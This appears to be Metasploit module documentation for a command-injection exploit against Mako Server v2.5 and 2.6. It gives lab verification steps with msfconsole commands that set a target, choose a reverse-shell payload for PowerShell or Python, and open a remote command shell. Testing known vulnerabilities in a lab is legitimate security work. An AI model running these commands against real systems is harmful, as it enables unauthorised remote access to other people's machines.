Vulnerable Application
This module exploits a vulnerability found in Mako Server v2.5, 2.6. It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
Mako Server is an application framework for designing web and IoT applications.
This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS:
- v2.5
- v2.6
Links:
Verification Steps
Windows
- Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
- After installer finishes, double click the "Mako-Demo" shortcut on the desktop
- Start msfconsole on host
- Do:
use exploit/multi/http/makoserver_cmd_exec - Do:
set RHOST <IP address of target system> - Do:
set PAYLOAD cmd/windows/reverse_powershell - Do:
set LHOST <IP address of host system> - Do:
exploit - You should get a Windows command shell
Verification Steps
Linux
- Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
- From inside the extracted folder, do
./rundemo.sh - Start msfconsole on host
- Do:
use exploit/multi/http/makoserver_cmd_exec - Do:
set RHOST <IP address of target system> - Do:
set PAYLOAD cmd/unix/python_reverse - Do:
set LHOST <IP address of host system> - Do:
exploit - You should get a Linux command shell (may need to wait ~30 seconds)
